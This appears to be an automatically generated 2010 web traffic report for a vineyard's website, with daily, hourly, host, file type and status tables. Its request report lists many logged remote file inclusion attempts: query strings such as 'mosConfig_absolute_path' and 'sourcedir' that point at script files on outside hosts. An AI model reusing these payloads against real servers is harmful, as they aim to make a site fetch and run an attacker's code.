Web Server Statistics for robertruevineyard.com

Program started at Wed-10-Mar-2010 05:07.
Analysed requests from Mon-01-Mar-2010 04:46 to Wed-10-Mar-2010 05:06 (9.0 days).

General Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Successful requests: 3599
Average successful requests per day: 399
Successful requests for pages: 978
Average successful requests for pages per day: 108
Failed requests: 2318
Redirected requests: 2
Distinct files requested: 120
Distinct hosts served: 384
Unwanted logfile entries: 4
Data transferred: 52783866 bytes
Average data transferred per day: 5855837 bytes


Weekly Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 1500000 bytes, or part thereof.


week beg.: #reqs: pages: 
---------: -----: -----: 
28/Feb/10:  2706:   700: ++++++++++++++++++++++++++++
 7/Mar/10:   893:   278: ++++++++
Busiest week: week beginning 28/Feb/10 (41259847 bytes).

Daily Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 500000 bytes, or part thereof.


     date:  %reqs: #reqs: %bytes:   bytes: 
---------: ------: -----: ------: -------: 
 1/Mar/10: 15.03%:   541: 16.83%: 8881068: ++++++++++++++++++
 2/Mar/10: 10.06%:   362: 10.87%: 5736445: ++++++++++++
 3/Mar/10:  8.92%:   321:  7.67%: 4050680: +++++++++
 4/Mar/10: 17.70%:   637: 17.98%: 9490692: +++++++++++++++++++
 5/Mar/10: 10.48%:   377: 11.30%: 5963883: ++++++++++++
 6/Mar/10: 13.00%:   468: 13.52%: 7137079: +++++++++++++++

 7/Mar/10:  5.92%:   213:  4.77%: 2519414: ++++++
 8/Mar/10: 12.09%:   435: 11.75%: 6200866: +++++++++++++
 9/Mar/10:  6.25%:   225:  4.95%: 2615407: ++++++
10/Mar/10:  0.56%:    20:  0.36%:  188332: +
Busiest day: 4/Mar/10 (9490692 bytes).

Daily Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 800000 bytes, or part thereof.


day:  %reqs: #reqs: %bytes:    bytes: %pages: 
---: ------: -----: ------: --------: ------: 
Sun:  5.92%:   213:  4.77%:  2519414:  7.16%: ++++
Mon: 27.12%:   976: 28.57%: 15081934: 21.47%: +++++++++++++++++++
Tue: 16.31%:   587: 15.82%:  8351852: 23.62%: +++++++++++
Wed:  9.47%:   341:  8.03%:  4239012: 12.37%: ++++++
Thu: 17.70%:   637: 17.98%:  9490692: 13.39%: ++++++++++++
Fri: 10.48%:   377: 11.30%:  5963883: 11.15%: ++++++++
Sat: 13.00%:   468: 13.52%:  7137079: 10.84%: +++++++++

Hourly Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 200000 bytes, or part thereof.


hr:  %reqs: #reqs: %bytes:   bytes: 
--: ------: -----: ------: -------: 
 0:  1.28%:    46:  0.81%:  428750: +++
 1:  0.56%:    20:  0.31%:  163113: +
 2:  0.86%:    31:  0.79%:  416695: +++
 3:  0.61%:    22:  0.38%:  199798: +
 4:  0.89%:    32:  0.47%:  248797: ++
 5:  1.92%:    69:  1.71%:  900603: +++++
 6:  2.81%:   101:  2.62%: 1384232: +++++++
 7:  1.56%:    56:  1.51%:  796482: ++++
 8:  6.00%:   216:  6.60%: 3484953: ++++++++++++++++++
 9:  5.97%:   215:  5.41%: 2855715: +++++++++++++++
10:  8.34%:   300:  9.60%: 5067455: ++++++++++++++++++++++++++
11:  3.61%:   130:  2.60%: 1374096: +++++++
12:  5.31%:   191:  5.85%: 3085898: ++++++++++++++++
13:  6.78%:   244:  5.74%: 3030769: ++++++++++++++++
14:  8.95%:   322:  9.46%: 4992127: +++++++++++++++++++++++++
15:  8.81%:   317: 10.24%: 5406621: ++++++++++++++++++++++++++++
16:  4.22%:   152:  5.17%: 2729181: ++++++++++++++
17:  3.81%:   137:  3.37%: 1777918: +++++++++
18:  2.83%:   102:  2.58%: 1359973: +++++++
19:  6.00%:   216:  5.71%: 3011388: ++++++++++++++++
20:  5.58%:   201:  6.01%: 3171636: ++++++++++++++++
21:  5.83%:   210:  6.19%: 3265591: +++++++++++++++++
22:  6.17%:   222:  5.93%: 3130090: ++++++++++++++++
23:  1.31%:    47:  0.95%:  501985: +++

Host Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing hosts with at least 0.05% of the requests, sorted by the number of requests.


 %reqs: #reqs: %bytes:   bytes: host
------: -----: ------: -------: ----
 2.03%:    73:  2.39%: 1260873: 67.195.115.94
 1.86%:    67:  2.35%: 1238680: 68.183.232.93
 1.78%:    64:  1.15%:  605543: 98.207.40.248
 1.72%:    62:  2.31%: 1219608: 143.112.32.4
 1.69%:    61:  2.24%: 1184322: 24.130.91.227
 1.50%:    54:  1.59%:  840250: 24.5.174.111
 1.47%:    53:  2.13%: 1124033: 192.12.78.250
 1.44%:    52:  2.02%: 1064856: 66.131.237.198
 1.39%:    50:  1.72%:  907702: 76.103.109.229
 1.33%:    48:  1.33%:  703119: 76.231.124.50
 1.22%:    44:  1.36%:  715763: 66.77.102.10
 1.22%:    44:  1.89%:  995978: 74.136.209.201
 1.14%:    41:  0.97%:  511516: 74.222.233.170
 1.11%:    40:  0.90%:  474668: 98.24.122.204
 1.08%:    39:  1.06%:  558836: 99.150.209.157
 1.08%:    39:  1.03%:  545813: 71.177.190.87
 1.03%:    37:  1.20%:  635170: 95.108.128.240
 1.03%:    37:  0.38%:  198290: 76.191.128.45
 1.03%:    37:  1.23%:  648683: 198.203.181.181
 1.03%:    37:  1.16%:  614079: 67.160.249.30
 0.94%:    34:  1.21%:  638750: 130.157.161.188
 0.89%:    32:  0.98%:  516824: 24.130.44.25
 0.89%:    32:  1.13%:  594460: 71.6.9.162
 0.89%:    32:  0.85%:  446767: 69.226.215.75
 0.86%:    31:  1.12%:  591250: 192.146.1.12
 0.83%:    30:  1.12%:  593072: 75.37.32.162
 0.83%:    30:  1.12%:  593072: 96.235.21.165
 0.81%:    29:  1.12%:  591922: 209.36.244.253
 0.78%:    28:  0.82%:  430544: 71.146.7.42
 0.78%:    28:  1.39%:  732487: 99.48.212.163
 0.75%:    27:  1.00%:  528438: 128.32.93.50
 0.75%:    27:  0.78%:  410465: 71.254.158.103
 0.75%:    27:  0.71%:  376592: 66.243.153.70
 0.75%:    27:  1.00%:  528438: 67.121.150.202
 0.75%:    27:  1.15%:  605138: 75.36.153.34
 0.75%:    27:  1.15%:  605138: 67.180.69.12
 0.72%:    26:  0.37%:  195020: 173.164.133.8
 0.72%:    26:  0.74%:  390553: 69.19.14.35
 0.69%:    25:  0.87%:  459298: 76.173.247.136
 0.69%:    25:  0.63%:  333735: 24.5.54.169
 0.69%:    25:  0.87%:  459298: 66.127.54.223
 0.67%:    24:  0.91%:  479117: 174.16.151.21
 0.67%:    24:  0.63%:  332064: 69.109.219.254
 0.67%:    24:  0.63%:  332064: 216.210.189.66
 0.64%:    23:  0.95%:  503574: 99.153.217.131
 0.64%:    23:  0.33%:  175330: 206.176.229.58
 0.61%:    22:  0.89%:  471364: 75.69.27.137
 0.61%:    22:  0.89%:  471364: 128.29.43.3
 0.58%:    21:  0.47%:  249576: 24.188.92.224
 0.58%:    21:  0.48%:  251098: 199.88.89.34
 0.58%:    21:  0.89%:  470214: 98.210.130.190
 0.58%:    21:  0.38%:  198290: 75.140.22.14
 0.58%:    21:  0.65%:  344130: 76.21.48.83
 0.56%:    20:  0.39%:  207551: 75.51.186.247
 0.56%:    20:  0.35%:  185220: 95.108.150.235
 0.56%:    20:  0.51%:  267117: 76.126.8.44
 0.53%:    19:  0.38%:  198290: 134.186.100.154
 0.53%:    19:  0.37%:  197140: 76.191.206.48
 0.53%:    19:  0.38%:  198290: 66.209.78.66
 0.53%:    19:  0.38%:  198290: 12.168.220.131
 0.53%:    19:  0.38%:  198290: 76.126.145.34
 0.53%:    19:  0.38%:  198290: 75.230.65.166
 0.53%:    19:  0.38%:  198290: 76.167.230.235
 0.53%:    19:  1.14%:  603371: 71.198.186.94
 0.53%:    19:  0.38%:  198290: 76.103.127.162
 0.53%:    19:  0.38%:  198290: 71.142.75.128
 0.53%:    19:  0.38%:  198290: 71.146.0.170
 0.53%:    19:  0.38%:  198290: 71.146.156.46
 0.53%:    19:  0.38%:  198290: 67.170.235.180
 0.53%:    19:  0.38%:  198290: 75.89.234.224
 0.53%:    19:  0.38%:  198290: 76.236.31.199
 0.53%:    19:  0.38%:  198290: 71.173.192.134
 0.53%:    19:  0.66%:  347523: 38.99.14.218
 0.53%:    19:  0.38%:  198290: 76.191.204.169
 0.50%:    18:  0.90%:  476022: 24.5.50.134
 0.50%:    18:  0.37%:  197140: 148.177.0.100
 0.50%:    18:  0.37%:  197140: 71.193.206.28
 0.50%:    18:  0.37%:  197140: 166.205.138.176
 0.47%:    17:  0.66%:  348673: 98.207.27.169
 0.47%:    17:  0.66%:  348673: 24.6.245.248
 0.47%:    17:  0.66%:  348673: 67.169.134.144
 0.47%:    17:  0.66%:  348673: 76.200.141.252
 0.47%:    17:  0.66%:  348673: 75.101.34.69
 0.47%:    17:  0.66%:  348673: 76.103.117.162
 0.47%:    17:  0.66%:  348673: 99.24.142.97
 0.47%:    17:  0.66%:  348673: 63.116.54.15
 0.47%:    17:  0.66%:  348673: 76.103.210.77
 0.47%:    17:  0.44%:  230700: 69.108.222.41
 0.47%:    17:  0.68%:  356784: 166.205.137.36
 0.47%:    17:  0.39%:  207534: 38.99.96.132
 0.47%:    17:  0.66%:  348673: 173.11.96.157
 0.47%:    17:  0.66%:  348673: 70.237.152.166
 0.47%:    17:  0.66%:  348673: 76.254.25.225
 0.44%:    16:  0.40%:  210356: 76.249.169.22
 0.44%:    16:  0.40%:  210356: 24.5.35.140
 0.44%:    16:  0.66%:  347523: 166.205.139.48
 0.44%:    16:  0.27%:  144739: 76.126.157.89
 0.44%:    16:  0.40%:  210356: 69.181.128.69
 0.44%:    16:  0.42%:  221439: 166.128.67.97
 0.44%:    16:  0.35%:  185759: 209.204.160.53
 0.44%:    16:  0.42%:  221439: 116.250.31.110
 0.42%:    15:  0.46%:  241749: 67.195.112.94
 0.42%:    15:  0.54%:  286764: 173.192.4.195
 0.42%:    15:  0.74%:  392949: 68.171.234.28
 0.42%:    15:  0.27%:  144426: 71.198.241.130
 0.39%:    14:  0.20%:  105293: 69.226.237.174
 0.36%:    13:  0.24%:  126514: 205.203.134.197
 0.36%:    13:  0.16%:   86515: 151.201.138.95
 0.33%:    12:  0.18%:   96926: 170.135.241.45
 0.31%:    11:  0.21%:  112271: 69.58.178.28
 0.31%:    11:  0.17%:   87665: 70.239.237.33
 0.31%:    11:  0.17%:   87665: 24.180.45.173
 0.31%:    11:  0.17%:   87665: 98.210.217.176
 0.31%:    11:  0.17%:   87665: 72.37.244.36
 0.31%:    11:  0.17%:   87665: 122.170.28.139
 0.31%:    11:  0.19%:  101871: 77.241.83.107
 0.31%:    11:  0.17%:   87665: 70.135.108.228
 0.31%:    11:  0.17%:   87665: 209.129.174.197
 0.31%:    11:  0.17%:   87665: 212.103.189.3
 0.31%:    11:  0.17%:   87665: 75.18.225.57
 0.31%:    11:  0.17%:   87665: 76.205.248.158
 0.31%:    11:  0.17%:   87665: 76.191.200.28
 0.31%:    11:  0.17%:   87665: 76.226.179.167
 0.31%:    11:  0.17%:   87665: 68.171.233.175
 0.31%:    11:  0.17%:   87665: 216.7.78.54
 0.31%:    11:  0.17%:   87665: 76.221.203.239
 0.28%:    10:  0.18%:   92610: 64.15.152.132
 0.28%:    10:  0.16%:   86515: 166.205.138.22
 0.28%:    10:  0.20%:  103010: 67.218.116.163
 0.28%:    10:  0.16%:   86515: 75.18.198.108
 0.28%:    10:  0.16%:   86515: 206.176.245.202
 0.28%:    10:  0.20%:  103010: 216.129.119.10
 0.28%:    10:  0.51%:  270258: 206.53.157.137
 0.28%:    10:  0.04%:   18522: 66.249.71.56
 0.28%:    10:  0.16%:   86515: 118.237.62.250
 0.28%:    10:  0.16%:   86515: 166.205.138.251
 0.28%:    10:  0.16%:   86515: 78.137.163.133
 0.25%:     9:  0.51%:  268587: 17.244.127.138
 0.25%:     9:  0.51%:  269108: 67.160.212.2
 0.22%:     8:  0.14%:   74088: 194.39.140.100
 0.22%:     8:  0.12%:   63077: 66.249.65.55
 0.22%:     8:  0.27%:  141577: 121.54.47.28
 0.19%:     7:       :       0: 88.131.106.32
 0.19%:     7:  0.12%:   64827: 65.55.51.38
 0.19%:     7:  0.16%:   83499: 67.195.111.170
 0.19%:     7:  0.27%:  140427: 166.205.11.3
 0.17%:     6:       :       0: 207.46.204.241
 0.17%:     6:  0.12%:   63731: 67.246.89.211
 0.17%:     6:  0.11%:   55566: 118.168.13.227
 0.14%:     5:  0.09%:   46305: 207.97.197.232
 0.14%:     5:  0.09%:   46305: 189.108.236.148
 0.14%:     5:  0.09%:   46305: 62.140.23.24
 0.11%:     4:  0.07%:   37044: 66.196.97.168
 0.11%:     4:  0.24%:  127349: 207.46.204.240
 0.11%:     4:       :       0: 207.46.204.239
 0.11%:     4:  0.07%:   37044: 219.94.193.152
 0.11%:     4:  0.07%:   37044: 77.92.143.92
 0.11%:     4:  0.07%:   37044: 151.138.13.244
 0.11%:     4:  0.09%:   48244: 174.129.144.34
 0.11%:     4:  0.16%:   83894: 94.102.63.60
 0.11%:     4:  0.07%:   37044: 212.241.177.123
 0.11%:     4:  0.05%:   28486: 184.73.2.140
 0.11%:     4:  0.07%:   37582: 65.55.37.187
 0.11%:     4:  0.01%:    6398: 66.249.71.114
 0.08%:     3:  0.02%:   13170: 207.200.116.14
 0.08%:     3:  0.05%:   27783: 78.110.50.120
 0.08%:     3:  0.05%:   27783: 216.119.103.16
 0.08%:     3:  0.05%:   28594: 208.115.138.254
 0.08%:     3:  0.05%:   27783: 208.69.40.227
 0.08%:     3:  0.05%:   27783: 118.168.12.98
 0.08%:     3:       :       0: 207.46.204.244
 0.08%:     3:       :       0: 207.46.204.229
 0.08%:     3:       :       0: 207.46.204.227
 0.08%:     3:  0.05%:   27783: 67.205.50.6
 0.08%:     3:       :       0: 207.46.204.193
 0.08%:     3:       :       0: 207.46.204.192
 0.08%:     3:  0.05%:   24009: 81.52.143.29
 0.08%:     3:  0.03%:   17900: 207.200.116.8
 0.08%:     3:  0.14%:   72788: 207.200.116.5
 0.08%:     3:  0.05%:   27783: 200.93.147.154
 0.08%:     3:  0.02%:    9261: 66.249.71.3
 0.08%:     3:  0.05%:   27783: 208.80.193.38
 0.08%:     3:       :       0: 207.46.195.238
 0.08%:     3:  0.31%:  161994: 65.55.217.58
 0.08%:     3:       :       0: 207.46.195.230
 0.08%:     3:  0.15%:   78852: 65.55.217.53
 0.08%:     3:       :       0: 207.46.195.223
 0.08%:     3:  0.05%:   27783: 92.48.119.75
 0.08%:     3:  0.05%:   27783: 193.252.118.173
 0.08%:     3:  0.05%:   27783: 87.106.132.3
 0.08%:     3:  0.05%:   27783: 66.235.124.7
 0.08%:     3:  0.05%:   27783: 67.16.94.2
 0.08%:     3:  0.05%:   27783: 174.142.61.173
 0.08%:     3:       :       0: 207.46.199.55
 0.08%:     3:       :       0: 207.46.199.49
 0.06%:     2:  0.02%:   11441: 207.200.116.139
 0.06%:     2:  0.04%:   22149: 207.200.116.13
 0.06%:     2:  0.04%:   18522: 204.16.2.161
 0.06%:     2:  0.07%:   34312: 207.200.116.133
 0.06%:     2:  0.25%:  133233: 207.200.116.132
 0.06%:     2:  0.08%:   44135: 38.99.98.110
 0.06%:     2:  0.04%:   19333: 88.131.106.8
 0.06%:     2:  0.24%:  127349: 207.46.204.242
 0.06%:     2:       :       0: 207.46.204.238
 0.06%:     2:       :       0: 207.46.204.194
 0.06%:     2:  0.04%:   18522: 199.120.90.223
 0.06%:     2:       :       0: 207.46.204.187
 0.06%:     2:       :       0: 207.46.204.186
 0.06%:     2:  0.02%:    9261: 193.47.80.50
 0.06%:     2:       :       0: 207.46.204.179
 0.06%:     2:       :       0: 207.46.204.180
 0.06%:     2:       :       0: 207.46.204.177
 0.06%:     2:  0.02%:    9995: 207.46.204.158
 0.06%:     2:  0.04%:   18522: 209.31.239.34
 0.06%:     2:  0.02%:   10411: 69.147.115.72
 0.06%:     2:  0.03%:   14222: 65.55.109.183
 0.06%:     2:  0.04%:   18522: 109.234.160.231
 0.06%:     2:  0.11%:   55479: 207.200.116.7
 0.06%:     2:  0.03%:   15115: 69.63.181.250
 0.06%:     2:  0.04%:   18522: 85.62.95.198
 0.06%:     2:  0.04%:   18522: 66.135.39.58
 0.06%:     2:       :       0: 66.249.65.58
 0.06%:     2:  0.02%:    9261: 216.18.22.160
 0.06%:     2:  0.04%:   18522: 216.38.149.6
 0.06%:     2:  0.04%:   18522: 38.100.41.94
 0.06%:     2:  0.02%:   10411: 209.131.38.89
 0.06%:     2:  0.04%:   18522: 87.68.233.150
 0.06%:     2:  0.04%:   18522: 78.21.33.5
 0.06%:     2:  0.06%:   29739: 75.101.216.126
 0.06%:     2:  0.07%:   35377: 65.55.217.62
 0.06%:     2:       :       0: 207.46.195.236
 0.06%:     2:       :       0: 207.46.195.231
 0.06%:     2:       :       0: 207.46.195.229
 0.06%:     2:       :       0: 207.46.195.227
 0.06%:     2:       :       0: 207.46.195.226
 0.06%:     2:  0.02%:    9262: 66.249.71.47
 0.06%:     2:  0.04%:   18522: 75.119.216.146
 0.06%:     2:  0.04%:   18522: 72.55.148.208
 0.06%:     2:       :       0: 66.249.71.15
 0.06%:     2:  0.03%:   18189: 8.21.4.254
 0.06%:     2:  0.04%:   18501: 174.133.7.26
 0.06%:     2:  0.04%:   18522: 121.119.192.41
 0.06%:     2:  0.07%:   36620: 207.200.116.73
 0.06%:     2:  0.07%:   37991: 207.200.116.72
 0.06%:     2:  0.03%:   14243: 207.200.116.71
 0.06%:     2:  0.02%:    9995: 65.55.107.183
 0.06%:     2:  0.24%:  127349: 207.46.199.52
 0.06%:     2:       :       0: 207.46.199.50
 0.06%:     2:       :       0: 207.46.199.47
 0.06%:     2:       :       0: 207.46.199.46
 0.06%:     2:       :       0: 207.46.199.44
 0.06%:     2:       :       0: 207.46.199.43
 0.06%:     2:       :       0: 207.46.199.39
 0.06%:     2:  0.04%:   18522: 195.190.166.35
 3.61%:   130:  2.59%: 1368107: [not listed: 130 hosts]

Directory Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing directories, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:    bytes: directory
------: -----: ------: --------: ---------
63.93%:  2301: 79.78%: 42112798: /images/
22.17%:   798: 10.14%:  5350718: [root directory]
13.86%:   499: 10.08%:  5320350: /pages/
 0.03%:     1:       :        0: [no directory]

File Type Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:    bytes: extension
------: -----: ------: --------: ---------
59.04%:  2125: 75.05%: 39615776: .jpg  [JPEG graphics]
13.84%:   498: 10.41%:  5494072: .html [Hypertext Markup Language]
13.34%:   480:  7.78%:  4107959: [directories]
 0.50%:    18:  4.49%:  2371779: .pdf  [Adobe Portable Document Format]
 5.64%:   203:  1.61%:   851922: .css  [Cascading Style Sheets]
 4.14%:   149:  0.38%:   202580: .gif  [GIF graphics]
 3.42%:   123:  0.26%:   139150: .ico
 0.08%:     3:       :      628: [not listed: 2 extensions]

File Size Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)


       size:  %reqs: #reqs: %bytes:    bytes: 
-----------: ------: -----: ------: --------: 
          0:  7.59%:   273:       :        0: 
   1b-  10b:       :     0:       :        0: 
  11b- 100b:       :     0:       :        0: 
 101b-  1kb:  0.06%:     2:       :      628: 
  1kb- 10kb: 56.77%:  2043: 22.59%: 11925652: 
 10kb-100kb: 33.43%:  1203: 58.76%: 31018072: 
100kb-  1Mb:  2.17%:    78: 18.64%:  9839514: 

Status Code Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing status codes, sorted numerically.


#reqs: status code
-----: -----------
 3328: 200 OK
    4: 206 Partial content
    2: 302 Document found elsewhere
  267: 304 Not modified since last retrieval
    3: 400 Bad request
 2315: 404 Document not found

Request Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing files, sorted alphabetically.


 %reqs: #reqs: %bytes:   bytes: file
------: -----: ------: -------: ----
 0.03%:     1:       :       0: *
12.81%:   461:  7.18%: 3787749: /
 0.11%:     4:  0.07%:   37044:   /?_PHPLIB[libdir]=http://8888bg.com/admin/editor/filemanager/browser/default/connectors/php/id.txt??
 0.03%:     1:  0.02%:    9261:   /?_PHPLIB[libdir]=http://www.emotions.com.mx/libreria/joomla??
 0.03%:     1:  0.02%:    9261:   /?_PHPLIB[libdir]=http://www.hyonsvc.co.kr//bbs//icon/id1.txt?
 0.03%:     1:  0.02%:    9261:   /?_PHPLIB[libdir]=http://www.municipiodemejia.gov.ec//administrator/components/com_search/sken/id1(feelcomz).txt?
 0.03%:     1:  0.02%:    9261:   /?_PHPLIB[libdir]=http://www.radarexpress.eu/classes/id.txt??
 0.08%:     3:  0.05%:   27783:   /?_SERVER[DOCUMENT_ROOT]=http://art-investments.eu/id1????
 0.06%:     2:  0.04%:   18522:   /?_SERVER[DOCUMENT_ROOT]=http://geo.metodist.ru/images/id?
 0.14%:     5:  0.09%:   46305:   /?_SERVER[DOCUMENT_ROOT]=http://www.cienciacompartida.org////id1.txt???
 0.19%:     7:  0.12%:   64827:   /?_SERVER[DOCUMENT_ROOT]=http://www.respektlockswear.com/fx29id.txt????
 0.39%:    14:  0.25%:  129654:   /?_SERVER[DOCUMENT_ROOT]=http://www.samer1.net/space/ray/1.txt?
 0.14%:     5:  0.09%:   46305:   /?_SERVER[DOCUMENT_ROOT]=http://www.supravis.hu//components/com_explorer/id2.txt??
 0.14%:     5:  0.09%:   46305:   /?_zb_path=http://canaldoserralheiro.com.br/laknat/cc1.txt??
 0.08%:     3:  0.05%:   27783:   /?_zb_path=http://suzuki9.fileave.com/zfxid1.txt?
 0.06%:     2:  0.04%:   18522:   /?_zb_path=http://www.dk-shop.com.ua///administrator/components/com_virtuemart/id1.txt???
 0.17%:     6:  0.11%:   55566:   /?_zb_path=http://zerozon.co.kr/data/eeng/heheh.txt?
 0.03%:     1:  0.02%:    9261:   /?mosConfig_absolute_path=http://antigua.granada.notariado.org//includes/id1.txt?
 0.06%:     2:  0.04%:   18522:   /?mosConfig_absolute_path=http://avui.it/linux/fx/id1.txt??
 0.03%:     1:  0.02%:    9261:   /?mosConfig_absolute_path=http://gminamakow.info//dmdocuments/mambo??
 0.06%:     2:  0.04%:   18522:   /?mosConfig_absolute_path=http://mytwitterblog.info/robot.txt????
 0.03%:     1:  0.02%:    9261:   /?mosConfig_absolute_path=http://snia2009.com/components/com_jce/zfxid1.txt?
 0.03%:     1:  0.02%:    9261:   /?mosConfig_absolute_path=http://www.miranda.gov.ve/modules/mod_sections/id1.txt???
 0.11%:     4:  0.07%:   37044:   /?mosConfig_absolute_path=http://www.respektlockswear.com/fx29id.txt????
 0.06%:     2:  0.04%:   18522:   /?mosConfig_absolute_path=http://www.samer1.net/space/ray/1.txt?
 0.11%:     4:  0.07%:   37044:   /?mosConfig_absolute_path=http://zerozon.co.kr/data/eeng/id1.txt??
 0.06%:     2:  0.04%:   18522:   /?poll_skin_path=http://antigua.granada.notariado.org//includes/id1.txt?
 0.03%:     1:  0.02%:    9261:   /?sourcedir=http://aiutoz.interfree.it/id1.txt?
 0.03%:     1:  0.02%:    9261:   /?sourcedir=http://art-investments.eu/id1????
 0.06%:     2:  0.04%:   18522:   /?sourcedir=http://english.autoxjapan.com/modules/Forums/gf_funcs/id1auto.txt??
 0.08%:     3:  0.05%:   27783:   /?sourcedir=http://fluffylabs.com/i1.txt??
 0.06%:     2:  0.04%:   18522:   /?sourcedir=http://geba.de/id1.txt??
 0.03%:     1:  0.02%:    9261:   /?sourcedir=http://sumanenter.com/id1???
 0.06%:     2:  0.04%:   18522:   /?sourcedir=http://thegodlike.com/modules/COPYME.TXT??
 0.03%:     1:  0.02%:    9261:   /?sourcedir=http://www.bellangora.fr/language/x1.txt??
 0.06%:     2:  0.04%:   18522:   /?sourcedir=http://www.boothbayoperahouse.com/mambots/idxx.pdf???
 0.03%:     1:  0.02%:    9261:   /?sourcedir=http://www.kecschool.co.kr/upfiles/s041/.../id1.txt??
 0.06%:     2:  0.04%:   18522:   /?sourcedir=http://www.lumixclub.com/bbs/columbus/eeng/id1.txt?
 0.08%:     3:  0.05%:   27783:   /?sourcedir=http://www.lumixclub.com/bbs/sex/respon1.txt?
 0.06%:     2:  0.04%:   18522:   /?sourcedir=http://www.samer1.net/space/ray/1.txt?
 0.06%:     2:  0.04%:   18522:   /?sourcedir=http://www.trilk.com/phpcookbook//rise.jpg?
 0.06%:     2:  0.04%:   18522:   /?spaw_root=http://www.cepp56.com//editor/id.txt??
 0.03%:     1:  0.49%:  256047: /WineOrderForm06.pdf
 3.42%:   123:  0.26%:  139150: /favicon.ico
 0.22%:     8:  0.48%:  254952: /images/
 0.06%:     2:  0.12%:   63738:   /images/?C=D;O=A
 0.06%:     2:  0.12%:   63738:   /images/?C=M;O=A
 0.03%:     1:  0.06%:   31869:   /images/?C=M;O=D
 0.03%:     1:  0.06%:   31869:   /images/?C=S;O=A
 0.03%:     1:  0.06%:   31869:   /images/?C=S;O=D
 1.58%:    57:  2.91%: 1537085: /images/2003reserve.jpg
 3.97%:   143:  2.61%: 1376028: /images/4.0_stars.jpg
 1.78%:    64:  0.13%:   71001: /images/4.5_stars.jpg
 0.03%:     1:       :    1278: /images/_notes/
 0.06%:     2:       :     628: /images/_notes/home.jpg.mno
 0.69%:    25:  0.85%:  449525: /images/about_us_new.jpg
 1.89%:    68:  0.25%:  133263: /images/accolade_grapes.jpg
 0.36%:    13:  0.42%:  221724: /images/accolades.jpg
 0.19%:     7:  0.39%:  207550: /images/background.jpg
